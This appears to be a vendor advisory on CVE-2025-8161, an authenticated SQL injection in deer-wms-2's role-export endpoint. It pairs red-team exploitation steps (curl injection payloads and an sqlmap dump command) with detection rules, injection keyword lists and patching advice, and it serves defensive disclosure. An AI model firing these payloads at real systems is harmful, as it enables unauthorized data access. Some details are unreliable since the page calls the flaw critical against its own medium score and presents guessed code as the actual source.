CVE-2025-8161
Executive Summary
CVE-2025-8161 is a critical SQL injection vulnerability discovered in the Deerwms deer-wms-2 application, affecting versions up to and including 3.3. The vulnerability resides in the /system/role/export endpoint, specifically within the handling of the params[dataScope] argument. An authenticated attacker can exploit this flaw to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has released a patch, and immediate upgrade is strongly recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Deerwms deer-wms-2 application, which is a Java-based web application. The risk is primarily to organizations that have deployed this application internally or as a service.
CVSS Breakdown & Threat Level
CVSS Score: 6.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) - The attacker needs valid credentials to access the export functionality.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): Low (L) - Limited data exposure is possible.
- Integrity (I): Low (L) - Limited data modification is possible.
- Availability (A): Low (L) - Limited impact on service availability.
Threat Level: Medium. While the CVSS score is medium, the public availability of exploit code and the potential for data exfiltration elevate the urgency for patching.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection flaw in the /system/role/export endpoint. The application fails to properly sanitize user-supplied input passed via the params[dataScope] parameter before incorporating it into a SQL query. This allows an attacker to break out of the intended query structure and execute arbitrary SQL statements.
The likely vulnerable code pattern is similar to:
String query = "SELECT * FROM roles WHERE data_scope = '" + request.getParameter("params[dataScope]") + "'";
By injecting a single quote ('), the attacker can terminate the string literal and append malicious SQL. For example, a payload like:
' OR '1'='1
would result in the query:
SELECT * FROM roles WHERE data_scope = '' OR '1'='1'
This would return all roles, bypassing the intended filter. More sophisticated payloads can be used for UNION-based data extraction, time-based blind injection, or even stacked queries (if supported by the database).
Vulnerable vs. Patched Code
Vulnerable Code (deer-wms-2 <= 3.3):
// Vulnerable: Direct concatenation of user input
String sql = "SELECT * FROM sys_role WHERE data_scope = '" + params.get("dataScope") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
Patched Code (deer-wms-2 > 3.3):
// Patched: Use of parameterized query
String sql = "SELECT * FROM sys_role WHERE data_scope = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, params.get("dataScope"));
ResultSet rs = pstmt.executeQuery();
The patch replaces string concatenation with a parameterized query (PreparedStatement), which ensures that user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of deer-wms-2 (version 3.3 or earlier) in a controlled environment.
- Obtain valid credentials for a user with access to the role export functionality.
- Use a tool like
curlor Burp Suite to interact with the endpoint.
Exploitation Steps:
Identify the vulnerable parameter:
curl -X POST "http://target.com/system/role/export" \ -d "params[dataScope]=test"Observe the response.
Confirm SQL injection with a time-based payload (e.g., for MySQL):
curl -X POST "http://target.com/system/role/export" \ -d "params[dataScope]=test' OR SLEEP(5)-- -"If the response is delayed by 5 seconds, the injection is confirmed.
Extract data using UNION-based injection:
curl -X POST "http://target.com/system/role/export" \ -d "params[dataScope]=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"Adjust the number of columns to match the original query.
Automated exploitation with sqlmap:
sqlmap -u "http://target.com/system/role/export" \ --data="params[dataScope]=test" \ --cookie="JSESSIONID=your_session_id" \ --batch --dump
Blue Team (Defensive)
Detection Steps:
Monitor for suspicious requests to
/system/role/export:- Look for unusual characters in the
params[dataScope]parameter, such as single quotes ('), double hyphens (--), or SQL keywords likeUNION,SELECT,SLEEP,BENCHMARK. - Alert on requests with a high number of parameters or unusually long parameter values.
- Look for unusual characters in the
Database Monitoring:
- Enable database audit logging to capture all SQL queries.
- Look for queries that deviate from the expected pattern (e.g., queries containing
UNION,OR,ANDwith user-controlled values).
Web Application Firewall (WAF) Rules:
- Deploy WAF rules to block SQL injection patterns in the
params[dataScope]parameter. - Example ModSecurity rule:
SecRule ARGS:params_dataScope "@detectSQLi" \ "id:1000001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected'"
- Deploy WAF rules to block SQL injection patterns in the
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/system/role/exportwithparams[dataScope]containing SQL metacharacters. - Unusual response times (e.g., >5 seconds) from the endpoint.
- Outbound database connections from the application server to unexpected IP addresses (data exfiltration).
- HTTP POST requests to
File System IOCs:
- Unexpected files in the application's export directory (e.g.,
/tmp/exports/). - Modified log files with SQL injection attempts.
- Unexpected files in the application's export directory (e.g.,
Database IOCs:
- Queries containing
UNION,OR 1=1,SLEEP(),BENCHMARK()in the application's database logs. - Unauthorized data access or modification in the
sys_roletable.
- Queries containing
Detection Engineering
YARA Rule
rule CVE_2025_8161_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-8161 in deer-wms-2"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-8161"
strings:
$sqli_pattern1 = /params\[dataScope\]=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
$sqli_pattern2 = /params\[dataScope\]=.*--\s*$/i
$sqli_pattern3 = /params\[dataScope\]=.*\/\*/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-8161 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against the /system/role/export endpoint in deer-wms-2
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/system/role/export*'
cs-uri-query|contains: 'params[dataScope]'
keywords:
- "' OR"
- "' AND"
- "' UNION"
- "' SELECT"
- "' SLEEP"
- "' BENCHMARK"
- "'--"
- "'/*"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in role names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-8161 SQL Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/system/role/export";
http_uri;
content:"params[dataScope]";
http_client_body;
pcre:"/params\[dataScope\]=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i";
sid:1000001;
rev:1;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Patch the Application: Upgrade deer-wms-2 to the latest patched version ( > 3.3). Contact the vendor for the specific patch details.
- Apply Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block SQL injection attempts on the
/system/role/exportendpoint. - Review Access Controls: Ensure that only authorized users have access to the role export functionality. Implement the principle of least privilege.
Long-Term Measures:
- Secure Coding Practices: Adopt parameterized queries (Prepared Statements) for all database interactions. Conduct regular code reviews and security training for developers.
- Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially before using it in SQL queries.
- Web Application Firewall (WAF): Deploy a WAF to provide an additional layer of defense against SQL injection and other web application attacks.
- Regular Security Audits: Perform periodic vulnerability assessments and penetration testing to identify and remediate similar flaws.
Valters IT